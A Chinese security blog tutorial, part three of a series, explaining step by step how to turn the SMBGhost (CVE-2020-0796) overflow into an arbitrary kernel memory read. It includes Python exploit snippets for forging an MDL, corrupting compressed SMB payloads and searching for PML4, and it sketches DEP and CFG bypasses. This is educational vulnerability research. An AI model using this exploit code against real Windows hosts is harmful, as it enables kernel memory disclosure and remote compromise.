【经典回顾系列】 一步一步教你漏洞挖掘之Windows SMB Ghost CVE-2020-0796(三)

VSole2021-10-07 10:15:16

接上文:

漏洞利用之远程命令执行(二)

0x01 实现任意地址读

远程协议的信息泄露很难实现,关键是漏洞能够破坏或改写响应报文,利用协议中返回数据的相关函数将信息发回给用户。而目前来看,我们原始的漏洞只能破坏请求报文的数据结构,值得庆幸的是我们通过该漏洞已经获取了任意地址写的能力。正常情况下,我们会利用任意地址写来改写一些关键数据结构,来破坏响应数据结构,实现信息泄露,问题是我们无法得知往哪写。

注意到当用户建立新的SMB连接时,在`Smb2ExecuteNegotiateReal`中会申请用于响应的数据结构(与请求包一样的`SRVNET_BUFFER_HDR`,其中的MDL结构中包含一个重要的用于存放返回数据的物理内存地址),该函数最终也是用`SrvNetAllocateBuffer`来申请内存:

幸运的是`SrvNetAllocateBuffer`在内存分配时系统使用了`Lookaside` 列表(参考前面`SrvNetAllocateBuffer`的代码),这类似于一种缓存,可以加快内存的申请和释放速度(`ExAllocatePoolWithTag`及`ExFreePoolWithTag`都会花费大量时间),该列表中的内存块在申请和释放时都不会对内容进行初始化(对于这一点,个人觉得会存在内存未初始化的风险)。

经过初步分析,利用`SrvNetAllocateBuffer`申请的内存,只有最终进入`SrvNetAllocateBufferFromPool`才会对内存进行初始化操作,否则利用`Lookaside`获取的内存将保持已有的数据,后面在SMB 协商阶段将被直接使用。因此,如果恰好能够从`Lookaside` 列表申请到之前释放的经过精心构造的数据结构,就能使`Nogotiation`的返回包读取任意地址的内容,发生信息泄露。

现在我们来捋一下思路,要实现任意地址读,可以通过以下几个步骤来实现:

  1. 在本地准备好伪造的MDL结构,重点是将物理地址字段配置为想要读取的地址
  2. 利用任意写,在`SystemSharedPage`(固定地址0xfffff78000000000)中写入一个伪造的MDL结构
  3. 利用缓冲区溢出,将`SRVNET_BUFFER_HDR+0x38`的指针改为伪造的MDL地址,关闭连接将释放内存
  4. 发起正常的SMB 协商请求,如果`SRVNET_BUFFER_HDR`复用成功,将返回指定物理地址处的数据
  5. 利用PML4泄露内存页表内容,通过虚实转换实现任意地址读原语

(1)伪造MDL结构

关于MDL的具体结构,微软有对应的文档:

MDL (wdm.h)
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_mdl

也有相关的使用研究:

Windows MDL原理总结
https://www.cnblogs.com/jack204/archive/2011/12/25/2300983.html
struct _MDL {    struct _MDL      *Next;           // 0x0    CSHORT           Size;            // 0x48    CSHORT           MdlFlags;        // 0x5018    ULONG            Processor;       // 0x0    PVOID            MappedSystemVa;  // 0xfffff78000000800    PVOID            StartVa;         // 0xfffff78000000000    ULONG            ByteCount;       // 0x258    ULONG            ByteOffset;      //     PFN_NUMBER       physMem[];       // 页表项 pfn} MDL, *PMDL;

计算物理地址对应的页表项:

pfn = (phys_addr & 0xFFFFFFFFFFFFF000) >> 12

(2)将伪造的MDL写入SystemSharedPage

为了减少其他数据的干扰,我们将MDL尽量存放在`SystemSharedPage`的后端。

phys_addr = 0x222222                # 计划读取的目标物理地址pmdl_mapva = SystemSharedPage+0x800 # MDL结构体中的MappedSystemVapmdl_va = SystemSharedPage+0x900    # MDL结构的存放位置fake_mdl = MDL(pmdl_mapva, phys_addr).raw_bytes()write_primitive(args.ip, args.port, fake_mdl, pmdl_va)

发送攻击数据包后,在`SystemSharedPage`中成功写入了伪造的MDL:

(3)篡改请求数据结构中的pMDL指针

在写原语中,我们利用了两次溢出实现了任意地址写(第一次溢出将目标地址改为指定值,第二次溢出将指定数据写入指定位置)。这里我们并不需要第二次溢出,只要在第一次溢出时直接将pMDL篡改为指定值就行。

该过程看似直接,其实这里有一个问题:由于pMDL位于`SRVNET_BUFFER_HDR`的后面,如果直接使用之前的溢出方法,将导致整个`SRVNET_BUFFER_HDR`都被覆盖(其中包括一个内存指针`header->pNonPagedPoolAddr`),这将导致后续的处理发生异常(释放时调用`ExFreePoolWithTag`)。

【解决该问题】我们需要跳过`SRVNET_BUFFER_HDR`,直接溢出篡改pMDL。因为`SmbCompressionDecompress`中会将解压的数据拷贝至`UserBuffer + Offset`处,所以我们只要将Offset设置为pMDL所在偏移就可以实现。

第二个问题:如果继续执行,在溢出点3进行内存拷贝时,`SRVNET_BUFFER_HDR`依然会被破坏,导致`header->pNonPagedPoolAddr`被篡改,最终`ExFreePoolWithTag`异常。

【解决该问题】我们要避免程序流程进入溢出点3,那就只能使`SmbCompressionDecompress`出错,后面直接退出:

NTSTATUS Status = SmbCompressionDecompress(...);if (Status < 0 ||     FinalCompressedSize != Header->OriginalSize) {    SrvNetFreeBuffer(Alloc);     return STATUS_BAD_DATA;}// ...// 避免执行至溢出点3

从IDA中简单分析`SmbCompressionDecompress`,判断只要在解压缩过程中发生异常,应该就能够使其返回错误值:

我们尝试在构造压缩数据时,故意将后面改为错误结构,在数据解压过程中触发异常,导致`RtlDecompressBufferEx2`返回错误,而`RtlDecompressBufferEx2`在发生错误前,仍然会将已经解压成功的数据拷贝至目标位置。利用这个特性我们能够篡改`SRVNET_BUFFER_HDR`中的pMDL指针,同时又保证程序不会破坏`header->pNonPagedPoolAddr`。

def compress_evil(buf, chunk_size=0x1000):    out = b""    while buf:        chunk = buf[:chunk_size]        compressed = _compress_chunk(chunk) # 正常压缩过程        flags = 0xB000 # 始终标记为压缩状态        header = struct.pack(', flags | (len(compressed)-1))        out += header + compressed        buf = buf[chunk_size:]            out += struct.pack(', 0x1337) # 破坏 "next" 块    return out
# 该函数能够篡改`SRVNET_BUFFER_HDR`中指定偏移处的内容# offset = 0x38 时指向pMDLdef write_srvnet_buffer_hdr(ip, port, data, offset):    sock = reconnect(ip, port)    smb_negotiate(sock)    sock.recv(1000)    compr_data = compress_evil(data) # 构造有问题的压缩数据    dummy_data = b"\x33"*(0x1100 + offset)    smb_compress(sock, compr_data, 0xFFFFEFFF, dummy_data)    sock.close()

马上测试一下,我们在发送攻击数据包前,先看一下`SRVNET_BUFFER_HDR`中的内容:

然后在`SmbCompressionDecompress`函数返回后再看一下`SRVNET_BUFFER_HDR`中的内容:

可以看到`SRVNET_BUFFER_HDR->pMDL`已经被篡改为`0xfffff78000000900`,就是我们自己伪造的MDL结构,其他数据内容都保持不变。返回值为`0xc0000242`,继续执行后将释放内容并返回,从而避免进入溢出点3导致系统崩溃。

(4)再次建立SMB连接,尝试任意物理内存读取

再次建立正常的SMB连接就行,根据前面所说,在协商阶段会申请一个`ResponseBuffer`:

系统会尝试用`Lookaside`表查询可用的内存块,如何幸运的话(实际测试发现并不一定每次都成功,但是攻击过程并不会导致目标崩溃,因此可以反复尝试)应该能够申请到上次连接释放的`SRVNET_BUFFER_HDR`,就像下面的情况:

直接继续执行,我们就能收到包含泄露的内存数据的响应包了,可以对比下wireshark和实际内存的内容:

综上4步,任意物理内存读取达成!

(5)泄露内存页表,实现任意虚拟地址读

首先我们先研究下Windows的内存机制:

Windows的内存机制
https://blog.csdn.net/ratonsea/article/details/106842622

在64位操作系统上的内存分页使用4级页表,将物理页面映射到虚拟页面,它们分别是PML4(也就是PXE)、PDPT、PD和PT。控制寄存器CR3包含当前进程PML4表的(物理)内存基地址。

【注】这里由于Windbg Preview不支持`!vtop`等命令,只能切换回老的Windbg!!!

根据 Ricera Security 的研究,PML4似乎并没有实现随机化,我在vmware的虚拟机中查看寄存器cr3的值,确实如其所说为固定值:`0x1ad000`,需要注意的是针对不同的引导方式PML4会有不同取值:`0x1aa000(BIOS)`或者`0x1ad000(UEFI)`。根据这点,我们能够通过dump页表信息,实现虚拟地址和物理地址的转换,最终将虚拟地址的读取转换成物理地址的读取。

在实际的利用代码中,Ricerca Security使用了一种似乎更为通用的方式。从物理地址`0x1000`处开始进行搜索,通过比对特征数值来寻找PML4地址和HAL堆地址:

# Use lowstub jmp bytes to signature searchLOWSTUB_JMP = 0x1000600E9# ...index = 0x1000buff = read_physmem_primitive(ip, port, index)entry = struct.unpack(", buff[0:8])[0] & 0xFFFFFFFFFFFF00FFif entry == LOWSTUB_JMP:    PML4 = struct.unpack(", buff[0xA0:0xA8])[0]    print("[+] PML4 at %lx" % PML4)        PHAL_HEAP = struct.unpack(",                 buff[0x78:0x80])[0] & 0xFFFFFFFFF0000000    print("[+] base of HAL heap at %lx" % PHAL_HEAP)    return

但是实际测试过程中Ricerca Security的利用代码一直未能成功。测试发现对部分物理地址读取会超时(原因有待分析),自己对代码做了一些修改(需要增加对`sock.recv`的异常处理,防止程序超时退出),终于成功泄露PML4的物理地址:

后面就是要利用PML4的地址来获取各级页表内容,实现内存转换。但是在内存读取过程中依然存在读取失败的问题:就是上面提到的读取特定物理地址失败的问题,比如读取PML4的地址`0x1ad000`时返回的数据只有6个`0x00`:

分析问题原因:通过跟踪数据包的构造和发送过程,系统最终通过`MmMapLockedPagesSpecifyCache`函数根据MDL将物理地址映射为虚拟地址。

bp nt!MmMapLockedPagesSpecifyCachebp srvnet!SrvNetSendData ".if(poi(@rdx+8)==0xfffff78000000900){}.else{gc;}"bp nt!MiFillSystemPtes+0x29d

初步分析是`MmMapLockedPagesSpecifyCache`返回NULL导致的问题,这一点非常奇怪,比如我读0x1000处就能够map成功,而对于0x2000就不行。

进一步在`MmMapLockedPagesSpecifyCache`中分别调用了`MiReservePtes`和`MiFillSystemPtes`两个函数,其中`MiReservePtes`申请一个虚拟地址用于内存映射,`MiFillSystemPtes`实现物理内存映射(虚拟地址保存在rdi)。

调试发现`MiFillSystemPtes`会对映射的内存页进行检查,如果地址位于页表本身所在地址范围,将导致内存映射失败。(IDA中的地址与调试器中的不一样,应该是页表地址随机化造成的)。

也就是说页表空间中的所有地址都无法通过`MmMapLockedPagesSpecifyCache`进行映射(系统版本:Windows10 1909 18363.418)。

【问题】目前还没有找到解决方案。未完待续!!

0x02 突破DEP防护

通过任意地址写,修改内存页对应的PTE表项,清除NX bit位,使目标内存页改为可执行。

0x03 截获程序控制流(控制RIP)

利用任意地址写,篡改内存中的某个指针,进入内存态shellcode。

0x04 突破控制流防护(CFG)

用户态CFG可能会拦截shellcode的执行,可以在内核态中patch `ntdll!LdrpValidateUserCallTarget`来绕过。

补充

【说明】ricerca security的研究人员在srv2模块中发现了一个函数`Srv2SetResponseBufferToReceiveBuffer`,该函数将请求数据结构直接赋值给响应数据结构,也就是说我们破坏的请求数据结构将直接影响响应数据。此外利用IDA可以发现,`srv2!Smb2SetError`函数会调用`srv2!Srv2SetResponseBufferToReceiveBuffer`,也就是说当srv2.sys想发送错误消息时就会调用该函数。但是在漏洞利用过程中,似乎并不需要利用这点。

void Srv2SetResponseBufferToReceiveBuffer(    SRV2_WORKITEM *workitem) {  ...  workitem->psbhResponse = workitem->psbhRequest;  ...}

写在最后

此处,CVE-2020-0796漏洞的分析告一段落了,其实还有很多问题没有搞清楚,有些许遗憾,值得进一步深入研究,有志同道合的小伙伴可以一起探讨。

漏洞挖掘mdl
本作品采用《CC 协议》,转载必须注明作者和本文链接
引言B***是一款基于.NET WebForm开发的计费软件,近日看到网上曝光B***存在SQL注入漏洞CVE-2021-4***,结合xp_cmdshell可以实现RCE。
【经典回顾系列】 Windows SMB Ghost CVE-2020-0796漏洞分析与利用(三)
Windows SMB Ghost CVE-2020-0796漏洞分析与利用(二)
CVE-2021-24086漏洞分析
2022-07-19 16:41:30
漏洞信息2021年,Microsoft发布了一个安全补丁程序,修复了一个拒绝服务漏洞,编号为CVE-2021-24086,该漏洞影响每个Windows版本的IPv6堆栈,此问题是由于IPv6分片处理不当引起的。
0x01 确定目标无目标随便打,有没有自己对应的SRC应急响应平台不说,还往往会因为一开始没有挖掘漏洞而随意放弃,这样往往不能挖掘到深层次的漏洞。所以在真的想要花点时间在SRC漏洞挖掘上的话,建议先选好目标。0x02 确认测试范围前面说到确定测什么SRC,那么下面就要通过一些方法,获取这个SRC的测试范围,以免测偏。
漏洞挖掘工具—afrog
2023-03-20 10:20:07
-t http://example.com -o result.html2、扫描多个目标 afrog -T urls.txt -o result.html例如:urls.txthttp://example.comhttp://test.comhttp://github.com3、测试单个 PoC 文件 afrog?-t http://example.com -P ./testing/poc-test.yaml -o result.html4、测试多个 PoC 文件 afrog?
但又没登录怎么获取的当前用户的Access-Reset-Ticket真相只有一个,看看接口哪里获取到的原来是在输入要找回的用户就会获取当前用户的Access-Reset-Ticket6到了,开发是我大哥尝试修改可行,修改管理员账号,然后起飞下机。漏洞已修复,厂商也修复了漏洞更新到了最新版本。
漏洞挖掘是指对应用程序中未知漏洞的探索,通过综合应用各种技术和工具,尽可能地找出其中的潜在漏洞。cookie的key为RememberMe,并对相关信息进行序列化,先使用aes加密,然后再使用base64编码处理形成的。在网上关于Shiro反序列化的介绍很多,我这里就只简单介绍一下,详情各位可以看下大神们对其源码的分析。
这里建议doc文档,图片可以贴的详细一些。爆破完好了,一样的6。想给它一个清晰完整的定义其实是非常困难的。
一、漏洞挖掘的前期–信息收集 虽然是前期,但是却是我认为最重要的一部分; 很多人挖洞的时候说不知道如何入手,其实挖洞就是信息收集+常规owasp top 10+逻辑漏洞(重要的可能就是思路猥琐一点),这些漏洞的测试方法本身不是特别复杂,一般混迹在安全圈子的人都能复现漏洞。接下来我就着重说一下我在信息收集方面的心得。
VSole
网络安全专家